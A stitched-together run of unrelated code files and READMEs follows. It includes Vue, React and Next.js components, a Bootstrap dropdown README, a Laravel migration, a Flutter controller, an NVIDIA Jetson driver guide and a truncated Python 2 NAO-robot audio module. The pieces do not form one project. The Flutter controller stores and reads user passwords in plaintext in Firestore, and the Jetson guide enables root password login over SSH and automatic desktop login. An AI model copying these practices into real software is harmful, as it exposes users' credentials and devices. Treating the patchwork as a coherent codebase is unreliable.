|| 'normal', fontSize: this.fontSize + 'px', lineHeight: this.lineHeight + 'px', color: this.option.color || '#333', textShadow: this.textShadow, borderRadius: this.option.borderRadius + 'px' } }, textShadow() { if (this.option.textShadow) { return `${this.option.textShadowDistance}px ${this.option.textShadowDistanceY}px ${this.option.textShadowblur}px ${this.option.textShadowColor}` } else { return '' } } }, watch: { showData() { this.updateChart() } }, beforeUnmount() { clearInterval(this.check) }, methods: { move() { if (!this.countUp.error) { this.countUp.start() } else { console.error(this.countUp.error) } }, decimals() { if (this.option.decimals * 1 !== 0) { return this.option.decimals * 1 || 2 } else { return 0 } }, updateChart() { console.log('更新了') // this.countUp = new CountUp('targetId', this.showData, this.options) this.countUp = new CountUp(this.targetId, this.showData, this.options) const delaytime = this.option.delaytime || 0 this.check = setTimeout(() => { this.move() }, delaytime * 1000) } } } </script>
# Adding Excitement to &lt;select&gt; Transform any &lt;select&gt; element into a searchable dropdown. View the [Live example](https://droverbuild.github.io/BootstrapDropdownSelect/). ## Features: - Use a pre-rendered &lt;select&gt; tag or fetch from server via AJAX with customizable search params - Search is debounced before making AJAX request - Process data retrieved from AJAX call before it is rendered into the dropdown - Supports disabled options and optgroup - Natural keyboard navigation and accessibility - Works perfectly with forms - Customize what is rendered for each option - Add options to existing or new option groups if needed. ## Requirements: - Bootstrap 5 - FontAwesome 6 ## Usage Add the [CSS file](index.css) to the HTML head after the Bootstrap and FontAwesome CSS links. Add [bootstrapDropdownSelect.js](bootstrapDropdownSelect.js) at the end of the body element after the Bootstrap JS. ### Data Source: AJAX In your HTML, add an empty &lt;select&gt; element. Any accompanying labels will automatically be reassigned to the search input element that is rendered when building the dropdown. ```html <div class="mb-3"> <label for="ddSel" class="form-label">User</label> <select id="ddSel" name="user"></select> </div> ``` After [bootstrapDropdownSelect.js](bootstrapDropdownSelect.js) is loaded in, construct a new BootstrapDropdownSelect object and pass in the proper options. Continue below to the BootstrapDropdownSelect options reference for details about the options object. ```js const options = { placeholder: 'Select User', url: 'https://api.slingacademy.com/v1/sample-data/users', queryParams: (searchQuery, previousParams, previousRequestData) => { const limit = 20; let params = previousParams ? previousParams : new URLSearchParams(); // add limit to previous offset or set to 0 if no previousParams let offset; if (!previousParams || searchQuery !== previousParams.get('search')) { // set offset to 0 if there was no previous request or if there's a new search query offset = 0; } else { // otherwise, add limit to the previous offset to get this offset offset = parseInt(params.get('offset')) + limit } params.set('offset', offset); params.set('limit', limit); if (!searchQuery || searchQuery.trim().length === 0) { params.delete('search'); } else { params.set('search', searchQuery); } return params; }, processData: (data, reqParams) => { const processed = data.users.map(u => { return { value: `${u.id}`, // important to convert this value to string or value identification will not work label: `${u.first_name} ${u.last_name}`, htmlLabel: `<div class="fw-bold">${u.first_name} ${u.last_name}</div><div class="text-secondary">${u.city}, ${u.country}</div>` }; }); return { data: processed, hasMore: data.offset + data.limit < data.total_users, optGroup: `Page ${data.offset / data.limit + 1}` }; } }; const dropdown2 = new BootstrapDropdownSelect(document.getElementById('ddSel'), options); ``` The first parameter of the constructor should be the &lt;select&gt; element that will be transformed into a dropdown. This is the source element, and will be hidden during construction of the dropdown. A dropdown with an option already selected upon initialization can be rendered by adding an option into the source &lt;select&gt; element as follows: ```html <select id="ddSel" name="users"> <option value="3">Brittany Bradford</option> <!-- Will become the selected option upon initialization --> </select> ``` ### Data Source: &lt;select&gt; Render your options as usual in a &lt;select&gt; element: ```html <div class="mb-3"> <label for="ddSel1" class="form-label">Multi-Select element transformed to Dropdown Select</label> <select id="ddSel1" name="users_1" class="form-select" multiple> <option value="user1">User 1</option> <optgroup label="Users"> <option value="user2">User 2</option> </optgroup> <optgroup label="terminated"> <option value="user3">User 3</option> <option value="user4">User 4</option> <option value="user5">User 5</option> <option value="user6">User 6</option> <option value="user7">User 7</option> <option value="user8">User 8</option> <option value="user9">User 9</option> <option value="user10">User 10</option> <option disabled value="user11">User 11</option> <option value="user12">User 12</option> </optgroup> </select> </div> ``` After [bootstrapDropdownSelect.js](bootstrapDropdownSelect.js) is loaded in, construct a new BootstrapDropdownSelect object and pass in the proper options. ```js const dropdown = new BootstrapDropdownSelect(document.getElementById('ddSel1'), {placeholder: 'Search User'}); ``` ## Options ### `options.placeholder` - **Type**: `string` - **Required**: No The placeholder for the rendered input element used for search. ### `options.url` - **Type**: `string` - **Required**: No The endpoint for the AJAX call to fetch the available options for the select. When the dropdown is opened or when the end of a page is reached, a GET request is made to this URL with the configured query string. At this time, the only configurable part of the request is the URL and query string. This component has no support for POST requests. If `url` has no value, the dropdown will be rendered from the children of the &lt;select&gt; element at the time of the constructor call. ### `options.multiple` - **Type**: `boolean` - **Required**: No Enables multiple selections in the dropdown. Selected items show up as badges in the form-control container, with a clickable `fa-xmark` icon to deselect the selected option. Pressing Backspace in the search input also removes the last item that is selected. If the source &lt;select&gt; element has the `multiple` attribute, that takes precedence over the value of this option. ### `options.queryParams` - **Type**: `function(searchQuery, previousUrlSearchParams, previousRequestData): URLSearchParams` - **Required**: Required when `options.url` is provided A function to configure the URLSearchParams object to be used for the next request. This function provides the URLSearchParams that you built in the previous request, if there was one, for you to build the query parameters for the next request. On the first request, build a new object of URLSearchParams, add your pagination parameters (such as `offset` and `limit`), and return. On subsequent requests, if `searchQuery` and the search query value in `previousUrlSearchParams` are different, you should reset the pagination parameter that you use. If they are the same, simply take `previousUrlSearchParams`, increment your pagination parameter, and return the same object. | Parameter Name | Type | Description | |---------------------------|-------------------|--------------------------------------------------------------------------------------------------------------------| | `searchQuery` | `string` | Value of the search input. | | `previousUrlSearchParams` | `URLSearchParams` | The same URLSearchParams object used to make the previous request, if any. Will be undefined on the first request. | | `previousRequestData` | `any` | The data object returned from the previous request, if any. Will be undefined on the first request. | ### `options.processData` - **Type**: `function(data, reqParams): ProcessedData` - **Required**: Required when `options.url` is provided A function to transform the response of the AJAX request into the shape required to render the new options in the dropdown. Also includes metadata about whether a new page should be loaded and if the data should be added to a new or existing option group. | Parameter Name | Type | Description | |----------------------|-------------------|---------------------------------------------------------------------------------------------| | `data` | `any` | Object of the AJAX response, deserialized from JSON. | | `requestQueryParams` | `URLSearchParams` | The same URLSearchParams object built in `options.queryParams` before the request was made. | #### Return Object Properties (`ProcessedData`) | Name | Type | Required | Description | |------------|-----------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `data` | `Object` | Yes | Data that will be rendered into the dropdown. Read Properties of `data` for object shape. | | `hasMore` | `boolean` | Yes | Set to true if the dropdown should load a new page when the end of the scrollview is reached. | | `optGroup` | `string` | No | If this is set, the options in `data` will be rendered under this given option group. If it doesn't exist, a new option group is created with this value as the label. | #### Properties of `data` | Name | Type | Required | Description | |-------------|-----------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `label` | `string` | Yes | Display label of the option. Rendered in the dropdown and in the search box and multi-select tags when selected. | | `htmlLabel` | `string` | No | If this is set, the dropdown renders this as HTML for each option. The value of `label` will still be used in the search box when the option is checked. **Note**: Not supported for DOM data sources. | | `value` | `string` | Yes | The value of the option that is submitted through FormData. It is important to convert this value to string (if, for instance, your identifier is a number). Otherwise, value identification will not work. | | `disabled` | `boolean` | No | Whether or not the option is disabled. |
<template> <div class="sidebar" :class="getSidebarState"> <div v-if="isSidebarOpen" class="sidebar--back-color" @click="closeSidebar" /> <div class="sidebar-content"> <div class="sidebar-content__logo"> <img src="../../assets/icon-left-font-monochrome-white.svg" alt="logo"> </div> <div class="sidebar-content__items-list"> <div class="sidebar-content__items-top"> <SidebarItem v-for="item in items" :key="item.to" :icon="item.icon" :text="item.text" :to="item.to" :exact="item.exact" class="sidebar-content__item" /> <hr class="sidebar-content__separator"> <SidebarItem :icon="settingsItem.icon" :text="settingsItem.text" :to="settingsItem.to" :exact="settingsItem.exact" class="sidebar-content__item" /> </div> <SidebarItem :icon="logoutItem.icon" :text="logoutItem.text" :to="logoutItem.to" :exact="logoutItem.exact" /> </div> </div> </div> </template> <script setup lang="ts"> import { computed } from 'vue' import { sidebarService } from '../../_services/sidebar.service' import { useAuthStore } from '../../store' import { useUsersStore } from '../../store/users.store' import SidebarItem from './SidebarItem.vue' const items = sidebarService.items items.forEach((item) => { item.to = item.to.replace(':id', useAuthStore().user.uuid) }) const settingsItem = { icon: 'fa-solid fa-gear', text: 'Paramètres', to: '/settings', exact: false, } const logoutItem = { icon: 'fa-solid fa-arrow-right-from-bracket', text: 'Se déconnecter', to: '/logout', exact: false, } const getSidebarState = computed(() => { return useUsersStore().getSidebar ? 'sidebar--open' : 'sidebar--close' }) const isSidebarOpen = computed(() => useUsersStore().getSidebar) function closeSidebar() { if (isSidebarOpen.value) useUsersStore().setSidebar(false) } </script> <style lang="scss"> .sidebar { color: white; background-color: $sidebar-bg-color; float: left; position: fixed; z-index: 1; top: 0; left: 0; bottom: 0; padding: $sidebar-padding; transition: 0.3s ease; display: flex; flex-direction: column; width: $sidebar-width; border-right: 1px solid $sidebar-border-color; &--back-color { display: none; } &-content { display: flex; flex-direction: column; flex: 1; align-items: start; &__logo { margin-bottom: 20px; margin-top: 10px; display: flex; justify-content: center; align-items: center; img { width: 100%; max-width: 80%; } } &__separator { height: 1px; background-color: $sidebar-border-color; margin: 10px 0; width: calc(100%); border: none; } &__items-top { display: flex; flex-direction: column; align-items: start; &__item { margin-bottom: 10px; } } &__items-list { display: flex; flex-direction: column; flex: 1; justify-content: space-between; margin-left: 1rem; .icon { width: 1.5rem; height: 1.5rem; margin-right: 0.5rem; } } } } // Make sidebar responsive on mobile @media only screen and (max-width: 768px) { .sidebar { width: 80%; background-color: $bg-void; &--back-color { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0, 0, 0, 0.5); } &--open { width: 70%; .sidebar--back-color { display: block; position: absolute; top: 0; left: 100%; right: -40%; bottom: 0; background-color: rgba(0, 0, 0, 0.5); z-index: 10; } } &--close { width: 0; padding: 0; border: none; .sidebar-content { display: none; &__items-list, &__logo, &__items-top, &__separator, &__item, &__item--active { display: none; } } } &-content { z-index: 20; &__item { margin-bottom: 14px; } &__logo { display: flex; justify-content: center; align-items: center; img { width: 100%; max-width: 80%; } } &__items-top { display: flex; flex-direction: column; align-items: start; } &__items-list { display: flex; flex-direction: column; flex: 1; justify-content: space-between; margin-left: 1rem; .icon { width: 2rem; height: 2rem; margin-right: 0.5rem; } } } } } </style>
import { Divider, Row, Space, Tag, Timeline, Watermark, Typography, } from "antd"; import React from "react"; import ComponentPreview from "./ComponentPreview"; import { ShareAltOutlined, FilePdfOutlined, CalendarOutlined, WhatsAppOutlined, AndroidFilled, AppleFilled, LinkOutlined, } from "@ant-design/icons"; import dayjs from "dayjs"; const { Title, Text } = Typography; const PreviewProposal = ({ data, readonly }) => { return ( <Watermark height={30} width={130} gap={[140, 140]} content={data?.watermark_text} > <Space style={{ width: "100%", padding: "0 12px", border: "1px solid gold", borderRadius: "6px", }} direction="vertical" > <Title level={4} style={{ textAlign: "center", fontWeight: "normal" }}> {data?.name + " - " + data?.dayOrder?.length + "N" ?? "--"} </Title> <div style={{ textAlign: "center", fontSize: "18px", }} > {"Price: "}&#x20B9; {data?.price}{" "} {data?.discount > 0 && ( <span style={{ textDecoration: "line-through", color: "grey", fontSize: "14px", }} > &#x20B9; {data?.price + data?.discount} </span> )} </div> {data?.dayOrder && data?.days && data.dayOrder.map((dayId, j) => { return ( <div key={j}> <Divider orientation="left"> <Space> <Text strong>{`Day ${j + 1}`}</Text> <Tag icon={<CalendarOutlined />}> {dayjs(data?.info?.start_date_utc) .add(j, "day") .format("ddd D MMM YY")} </Tag> </Space> </Divider> <Row justify="center"> <Timeline mode="left" style={{ width: "400px" }}> {data.days[dayId].componentIds.map((componentId, k) => { return data.dayComponents[componentId]?.is_deleted ? ( <></> ) : ( <Timeline.Item key={k}> <Space direction="vertical" style={{ width: "100%" }}> {} <ComponentPreview data={data.dayComponents[componentId]} readonly={readonly} /> </Space> </Timeline.Item> ); })} </Timeline> </Row> </div> ); })} </Space> </Watermark> ); }; export default PreviewProposal;
"use client"; import useCountries from "@/app/hooks/useCountries"; import { SafeReservation, SafeUser, safeListings } from "@/app/types"; // import { Reservation } from "@prisma/client"; import { useRouter } from "next/navigation"; import { useCallback, useMemo } from "react"; import { format } from "date-fns"; import Image from "next/image"; import SaveButton from "../SaveButton"; import Button from "../Button"; interface ListingCard { currentUser?: SafeUser | null; reservation?: SafeReservation; disabled?: boolean; onAction?: (id: string) => void; actionLabel?: string; actionId?: string; data: safeListings; } const ListingCard: React.FC<ListingCard> = ({ reservation, currentUser, onAction, actionId = "", actionLabel, data, disabled, }) => { const router = useRouter(); const { getByValue } = useCountries(); const location = getByValue(data.locationValue); const handleCancel = useCallback( (e: React.MouseEvent<HTMLButtonElement>) => { e.stopPropagation(); if (disabled) { return; } onAction?.(actionId); }, [onAction, actionId, disabled] ); const price = useMemo(() => { if (reservation) { return reservation.totalPrice; } return data.price; }, [reservation, data.price]); const reservationDate = useMemo(() => { if (!reservation) { return null; } const start = new Date(reservation.startDate); const end = new Date(reservation.endDate); return `${format(start, "PP")} - ${format(end, "PP")}`; }, [reservation]); return ( <div className="col-span-1 cursor-pointer group md:mt-2" onClick={() => router.push(`/listings/${data.id}`)} > <div className="flex flex-col gap-2 w-full"> <div className="aspect-square w-full relative overflow-hidden rounded-xl"> <Image alt="listing" src={data.imageSrc} className="object-cover h-full w-full group-hover:scale-110 transition" fill /> <div className="absolute top-3 right-3"> <SaveButton listingId={data.id} currentUser={currentUser} /> </div> </div> <div className="font-semibold text-lg"> {location?.region}, {location?.label} </div> <div className="font-light text-neutral-500"> {reservationDate || data.category} </div> <div className="flex flex-row itmes-center gap-1"> $ {price} <div className=""> {!reservation && <div className="font-light">/ day</div>} </div> </div> {onAction && actionLabel && ( <Button disabled={disabled} small label={actionLabel} onClick={handleCancel} /> )} </div> </div> ); }; export default ListingCard;
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AgentProductPrice extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('agent_product_prices', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('products_id'); $table->unsignedBigInteger('sub_product_id'); $table->decimal('price', 10, 2); // Add any other columns you might need // Foreign key constraints $table->foreign('products_id')->references('id')->on('products'); $table->foreign('sub_product_id')->references('id')->on('sub_products'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('agent_product_prices'); } }
import { authorize } from '@lib/auth/auth'; import { isAllowed } from '@lib/auth/utilities'; import { Button, ButtonIcon } from '@lib/components/primitives/button'; import { Skeleton } from '@lib/components/primitives/skeleton'; import { db } from '@lib/database/db'; import { labelingSurveys, labelingSurveysTranslations } from '@lib/database/schema/public'; import Link from '@lib/i18n/Link'; import { canEditLabelingSurvey, canParticipateLabelingSurvey } from '@lib/queries/queries'; import * as m from '@translations/messages'; import { languageTag } from '@translations/runtime'; import { and, desc, eq, or } from 'drizzle-orm'; import { getColumns } from 'drizzle-orm-helpers'; import { ArrowRight, FileEdit } from 'lucide-react'; import { Suspense } from 'react'; import { SurveyCreateForm, SurveyInvitationClaimForm } from './client'; async function getSurveys() { const { user } = await authorize(); const lang = languageTag(); const { id, createdAt } = getColumns(labelingSurveys); const { title, summary } = getColumns(labelingSurveysTranslations); return await db .select({ id, title, summary, createdAt, isParticipant: canParticipateLabelingSurvey({ userId: user.id }).mapWith(Boolean), isEditor: canEditLabelingSurvey({ userId: user.id })!.mapWith(Boolean), }) .from(labelingSurveys) .leftJoin( labelingSurveysTranslations, and( eq(labelingSurveysTranslations.id, labelingSurveys.id), eq(labelingSurveysTranslations.lang, lang) ) ) .where( or( canParticipateLabelingSurvey({ userId: user.id }), canEditLabelingSurvey({ userId: user.id }) ) ) .orderBy(desc(createdAt)); } async function Surveys() { const surveys = await getSurveys(); const lang = languageTag(); return surveys.map((survey, i) => ( <li className="group/link relative animate-fly-down rounded-md border border-border bg-background fill-mode-both" style={{ animationDelay: `${i * 100}ms` }} > <div className="grid cursor-pointer grid-cols-[3fr_1fr] place-content-stretch p-8"> <div className="pointer-events-none z-10 flex flex-col gap-2"> <h3 className="text-ellipsis whitespace-nowrap text-xl font-medium"> {survey.title || <span className="italic opacity-50">{m.untitled()}</span>} </h3> <p className="h-20 text-ellipsis text-sm text-muted-foreground"> {survey.summary || <span className="italic opacity-50">{m.description_none()}</span>} </p> <span className="text-sm font-thin text-muted-foreground"> {m.created_at({ date: survey.createdAt.toLocaleDateString(`${lang}-CA`, { day: 'numeric', month: 'short', year: 'numeric', }), time: survey.createdAt.toLocaleTimeString(`${lang}-CA`, { timeStyle: 'long' }), })} </span> </div> <div className="pointer-events-auto flex flex-col items-end gap-4"> {survey.isParticipant ? ( <Button asChild size="sm" className="z-10"> <Link href={`/surveys/labeling/${survey.id}`} className="text-sm"> {m.survey_open()} <ButtonIcon icon={ArrowRight} /> </Link> </Button> ) : null} {survey.isEditor ? ( <Button asChild variant="secondary" size="sm" className="z-10"> <Link href={`/surveys/labeling/${survey.id}/edit`} className="text-sm"> {m.edit()} <ButtonIcon icon={FileEdit} /> </Link> </Button> ) : null} </div> </div> <Link href={`/surveys/labeling/${survey.id}${survey.isParticipant ? '' : '/edit'}`} className="absolute inset-0 rounded-[inherit] border border-transparent transition-all group-hover/link:border-primary group-hover/link:bg-border/50" ></Link> </li> )); } export default async function Page() { const { user } = await authorize(); return ( <div className="flex w-full max-w-screen-lg flex-1 flex-col items-stretch gap-4 self-center"> <h2 className="mb-4 animate-fly-up text-4xl font-semibold">{m.my_surveys()}</h2> <ul className="flex flex-col gap-4"> <Suspense fallback={<Skeleton className="h-40 rounded-sm bg-border/50" />}> <Surveys /> </Suspense> </ul> <section className="flex flex-row flex-wrap gap-4"> {isAllowed(user, 'surveys.create') && <SurveyCreateForm />} <SurveyInvitationClaimForm /> </section> </div> ); }
// ignore_for_file: avoid_print import 'package:cloud_firestore/cloud_firestore.dart'; import 'package:firebase_auth/firebase_auth.dart'; import 'package:get/get.dart'; class LoginControler extends GetxController { var isShowPassword = true.obs; var isLoginLoading = false.obs; } class UserDataController extends GetxController { final FirebaseFirestore _fireStore = FirebaseFirestore.instance; final FirebaseAuth _auth = FirebaseAuth.instance; get user => _auth.currentUser; var name = "".obs; var email = "".obs; var isPremium = false.obs; var password = "".obs; var shareUrl = "".obs; var rateUrl = "".obs; var policyUrl = "".obs; var isLoading = true.obs; var booksList = [].obs; var isBookLoading = true.obs; var isUpdateLoading = false.obs; updateShare(val) { shareUrl.value = val; update(); } updateRate(val) { rateUrl.value = val; update(); } updatePolicy(val) { policyUrl.value = val; update(); } updateName(val) { name.value = val; update(); } updateEmail(val) { email.value = val; update(); } @override void onInit() { getUserData(); getBooksData(); super.onInit(); } getUserData() async { isLoading(true); await _fireStore.collection('Users').doc(user.uid).get().then((value) { name.value = value.data()!["name"]; email.value = value.data()!["email"]; password.value = value.data()!["password"]; isPremium.value = value.data()!["is_premium"]; update(); }); isLoading(false); update(); } getBooksData() async { isBookLoading(true); await _fireStore.collection('Magazine').get().then((value) { updateRate(value.docs[1].data()['rate']); updatePolicy(value.docs[1].data()['policy']); updateShare(value.docs[1].data()['share']); for (var i = 0; i < value.docs[0].data()["books"].length; i++) { if (isPremium.isTrue) { if (value.docs[0].data()["books"][i]['type'] == "e") { booksList.add(value.docs[0].data()["books"][i]); } } else { if (value.docs[0].data()["books"][i]['type'] == "o") { booksList.add(value.docs[0].data()["books"][i]); } } } print("length: ${booksList.length}"); // name.value = value.docs[0].data()["name"]; // email.value = value.docs[0].data()["email"]; // password.value = value.docs[0].data()["password"]; // isPremium.value = value.docs[0].data()["is_premium"]; update(); }); isBookLoading(false); update(); } updatedata() async { isUpdateLoading(true); await _fireStore.collection('Users').doc(user.uid).update( { "name": name.value, "email": email.value, "is_premium": false, "password": password.value, }, ).then((result) { isUpdateLoading(false); Get.toNamed("/home"); getUserData(); }).catchError((onError) {}); } }
# Drivers for NVIDIA Jetson ## Supported projects | Project | Documentation | |--------- | -------------- | | gmsl | [Here][doc-0] | [doc-0]: https://github.com/analogdevicesinc/nvidia/tree/gmsl/main ## Getting started For the initial flashing process, there are multiple options: - Use the [NVIDIA SDK Manager](https://developer.nvidia.com/sdk-manager) to flash your board. - Follow the [NVIDIA Getting Started Guide](https://developer.nvidia.com/embedded/learn/getting-started-jetson) for your specific board. This will help you set up the board using a flashing program to write a microSD Card. - Use [Jetson Linux](https://developer.nvidia.com/embedded/jetson-linux-archive) to flash your board. ## Further instructions Further in this guide, we will use some scripts that we provide in this repo. To be able follow along, we recommend cloning this repo in a location of your choice by running the following command. `git clone https://github.com/analogdevicesinc/nvidia --single-branch -b main nvidia` The scripts depend on some other Linux tools. Install those by running the following command. `sudo apt install build-essential bc rsync` ## Further setup To make development easier, we recommend doing the following modifications to your freshly-flashed board. To run these commands, you need to either have a monitor, keyboard, and mouse, connected to your board, and to open the Terminal app, or be connected to your board either through SSH, or through the UART debug console. Your board must be accessible via SSH for some of the steps in this guide, so it is better to make sure of that now. ### Set a root user password 1. Run the following command and fill the necessary prompts. `sudo passwd root` ### Permit root user password login through SSH 1. Edit the `/etc/ssh/sshd_config` file in your favorite editor. 2. Uncomment the `#PermitRootLogin prohibit-password` line by removing the `#` at the start of it. 3. Replace the `prohibit-password` value with `yes`. 4. Restart the SSH server by running `sudo systemctl restart sshd`. ### Enable automatic login 1. Open the Settings app. 2. Go to the Users settings page. 3. Unlock to change settings. 4. Turn on Automatic Login. Alternatively, you can also put the following lines into the `[daemon]` section of the `/etc/gdm3/custom.conf` file, where user is your username. ``` AutomaticLoginEnable=True AutomaticLogin=user ``` ### Disable screen blanking 1. Open the Settings app. 2. Go to the Power settings page. 3. Switch the Blank Screen value to Never. ### Setup VNC server 1. Open the Settings app. 2. Go to the Sharing settings page. 3. Open the Screen Sharing menu. 4. Turn on Screen Sharing, set a password, and check the Ethernet connection to use. ### Disable network boot Network boot is enabled by default and it slows down the boot process when booting from a microSD Card. To disable it, make sure your keyboard is connected to the board and press `Esc` at the start of the board's boot sequence. 1. Use the arrow keys to navigate to the `Boot Maintainance Manager` entry, and press `Enter`. 2. Enter Boot Options. 3. Enter `Change Boot Order`. 4. Press `Enter` to entry the order change menu. 5. Navigate to the `UEFI SD Device` entry, and use the `+` key to move it at the top of the list. 6. Press `Enter` when you're finished. 7. Press `F10` to save your changes. 8. Press `Esc` to go back to the previous page until you reach the main page. 9. Select `Continue` to continue the boot process. ## Setting up the development environment Download a [Jetson Linux Driver Package (BSP)](https://developer.nvidia.com/embedded/jetson-linux-archive). Depending on the `Release Tag` of the project you want to use, you need to download a different version of the Driver Package. Extract the Driver Package in a directory of your choice. Open a terminal in the directory where you extracted the Driver Package. Sync the sources by running the `./source_sync.sh` script. When prompted for a tag name, enther the `Release Tag` value from the table in each project's documentation under the [Supported projects](#supported-projects) section. Once the script finishes, your development environment should be ready. For more information about the development environment, you can check the `Jetson Linux Developer Guide` found in the page of the Jetson Linux release of your choice. ## Working with the source code After you set up your development environment, you have multiple ways of working the source code. ### Repo structure If you look at the branches of this repo, you will notice that there are multiple branches, which are named accordingly to each project's documentation under the [Supported projects](#supported-projects) section. The branch names also contain the paths to the repos inside the Jetson Linux tree that we have modified. ### Applying patches to the Jetson Linux tree Applying patches is useful if you intend to combine patches from multiple manufacturers. In this way, the patches provided by us can be applied alongside the patches provided by other manufacturers. To do this, run the following script (provided in this repo) specifying the path to the Jetson Linux directory, and the patches directory matching the `Patches Directory` value from the table in each project's documentation under the [Supported projects](#supported-projects) section. `./apply-patches.sh ../Linux_for_Tegra_R35.3.1/ ../nvidia-gmsl/patches-jetson_35.3.1` ### Syncing from the repos into the Jetson Linux tree Another way is to sync the repos. This is mostly useful for internal development. To do this, run the following script (provided in this repo) specifying the path to the Jetson Linux directory, a remote name of your choice (we recomment using `adi`) and the remote url at which this repo lives. You also need to specify the `Project` and `Release Tag` values from the table in the [Supported projects](#supported-projects) section. `./sync.sh ../Linux_for_Tegra_R35.3.1 adi https://github.com/analogdevicesinc/nvidia.git gmsl jetson_35.3.1` ### Resetting the Jetson Linux tree to NVIDIA state You can also use the previous script to return to the NVIDIA state of the Jetson Linux tree. To do this, run the following script (provided in this repo) specifying the path to the Jetson Linux directory, the remote name of the NVIDIA repos (usually `origin`) and the `Release Tag` which you want to sync. `./sync.sh ../Linux_for_Tegra_R35.3.1 origin jetson_35.3.1` ### Pushing your changes to a repo You can push your changes to a repo following the same structure as the one we provide. To do this, run the following script (provided in this repo) specifying the path to the Jetson Linux directory, the path of the repo that you want to push, the remote name that you want to push to, a project name and a tag name. `./push.sh ../Linux_for_Tegra_R35.3.1 ../Linux_for_Tegra_R35.3.1/sources/kernel/kernel-5.10 adi gmsl jetson_35.3.1` You can also force-push using the same script by specifying the `--force` (or `-f`) argument. ### Extracting patches from the Jetson Linux tree You can extract patches in a similar way to the ones we provide. To do this, run the following script (provided in this repo) specifying the path to the Jetson Linux directory, the base remote name and tag name (against which the patches will be generated, which means the patches will contain all the code from that tag to the current head of the repos) and a directory into which to put the patches. `./extract-patches.sh ../Linux_for_Tegra_R35.3.1 origin jetson_35.3.1 ../nvidia-gmsl/patches-jetson_35.3.1` ## Building To start building the source code, you can follow the `Kernel Customization` guide inside the `Jetson Linux Developer Guide`, but we also provide scripts to help you build and copy your newly-built custom kernel to the board. ### Setting up the toolchain Follow [this guide](https://docs.nvidia.com/jetson/archives/r35.3.1/DeveloperGuide/text/AT/JetsonLinuxToolchain.html). ### Build Open a terminal inside the `sources/kernel/kernel-5.10` subdirectory of the Jetson Linux tree. After this, run the following script (provided in this repo). You have to specify the full path to the script, since it is only contained in this repo, and not in the Jetson Linux tree. `~/nvidia/build.sh` This will build the kernel, device trees and modules. ### Device trees We support different project configurations by providing different device tree blobs (DTBs). To find out which device tree blob you need to use, check out each project's documentation under the [Supported projects](#supported-projects) section. To switch to another device tree blob, run the following script (provided in this repo). `~/nvidia/set-dtb.sh tegra234-p3767-0003-p3768-0000-a0.dtb 192.168.0.103` The `tegra234-p3767-0003-p3768-0000-a0.dtb` parameter must be replaced with the device tree blob of your choice. The `192.168.0.103` parameter must be replaced with the IP of your board. ### Copying Open a terminal inside the `sources/kernel/kernel-5.10` subdirectory of the Jetson Linux tree. After this, run the following script (provided in this repo). `~/nvidia/copy-to-board.sh 192.168.0.103` The `192.168.0.103` parameter must be replaced with the IP of your board. You must be connected to the same network as your board and have the root user accessible via SSH, as recommended in the [Further setup](#further-setup) section. The script will copy the kernel, device trees and modules to the board and will ask you whether to reboot.
# -*- coding: utf-8 -*- from optparse import OptionParser import naoqi import numpy as np import time import sys import wave from danceroom import DanceRoom import python3_runner sys.path.insert(0, './audio_recognition_system_py27/libs') NAO_IP = "10.0.7.101" class SoundReceiverModule(naoqi.ALModule): """ Use this object to get call back from the ALMemory of the naoqi world. Your callback needs to be a method with two parameter (variable name, value). """ def __init__(self, strModuleName, strNaoIp, naoPort): try: naoqi.ALModule.__init__(self, strModuleName) self.BIND_PYTHON(self.getName(), "callback") self.strNaoIp = strNaoIp self.naoPort = naoPort self.danceRoom = DanceRoom(strNaoIp, naoPort) self.outfile = None self.seconds = 5 self.strFilenameOut = "./out.raw" except BaseException, err: print("ERR: abcdk.naoqitools.SoundReceiverModule: loading error: %s" % str(err)) # __init__ - end def __del__(self): print("INF: abcdk.SoundReceiverModule.__del__: cleaning everything") self.stop() def start(self): self.danceRoom.posture.goToPosture("StandInit", 0.5) audio = naoqi.ALProxy("ALAudioDevice", self.strNaoIp, self.naoPort) nNbrChannelFlag = 3 # ALL_Channels: 0, AL::LEFTCHANNEL: 1, AL::RIGHTCHANNEL: 2; AL::FRONTCHANNEL: 3 or AL::REARCHANNEL: 4. nDeinterleave = 0 nSampleRate = 16000 audio.setClientPreferences(self.getName(), nSampleRate, nNbrChannelFlag, nDeinterleave) # setting same as default generate a bug !?! tts = naoqi.ALProxy("ALTextToSpeech", self.strNaoIp, self.naoPort) tts.say("Hit me! baby") time.sleep(2) self.outfile = open(self.strFilenameOut, "wb") audio.subscribe(self.getName()) print("INF: SoundReceiver: started!") def stop(self): print("INF: SoundReceiver: recognizing song...") audio = naoqi.ALProxy("ALAudioDevice", self.strNaoIp, 9559) audio.unsubscribe(self.getName()) self.write_outfile() song_info = self.recognize_from_file() print("song_name: ", song_info.get('song_name')) self.dance(song_info) print("INF: SoundReceiver: stopped!") def write_outfile(self): strFilenameOutChanWav = self.strFilenameOut.replace(".raw", ".wav") with open("./out.raw", "rb") as inp_f: data = inp_f.read() out_f = wave.open(strFilenameOutChanWav, "wb") out_f.setnchannels(1) out_f.setsampwidth(2) # number of bytes out_f.setframerate(16000) out_f.writeframesraw(data) out_f.close() def dance(self, song_info): tts = naoqi.ALProxy("ALTextToSpeech", self.strNaoIp, self.naoPort) print("In Dance function") time.sleep(1) print("Score: ", song_info.get('score')) if song_info.get('score') < 3: tts.say("Not recognizing the song, please try again") time.sleep(1) else: tts.say("Song recognized, dancing to " + song_info.get('song_name')) self.danceRoom.perform_dance(song_info.get('song_name')) def processRemote(self, nbOfChannels, nbrOfSamplesByChannel, aTimeStamp, buffer): """ This is THE method that receives all the sound buffers from the "ALAudioDevice" module """ aSoundDataInterlaced = np.fromstring(str(buffer), dtype=np.int16) aSoundData = np.reshape(aSoundDataInterlaced, (1, nbrOfSamplesByChannel), 'F') # nbOfChannels hardcoded to 1 print("INF: Writing sound to '%s'" % self.strFilenameOut) aSoundData[0].tofile(self.outfile) # wrote only one channel # processRemote - end def recognize_from_file(self): python_path = '/home/just/miniconda3/envs/abracadabra/bin/python' script_path = 'abracadabra/abracadabra_interface_for_python2.py' runner = 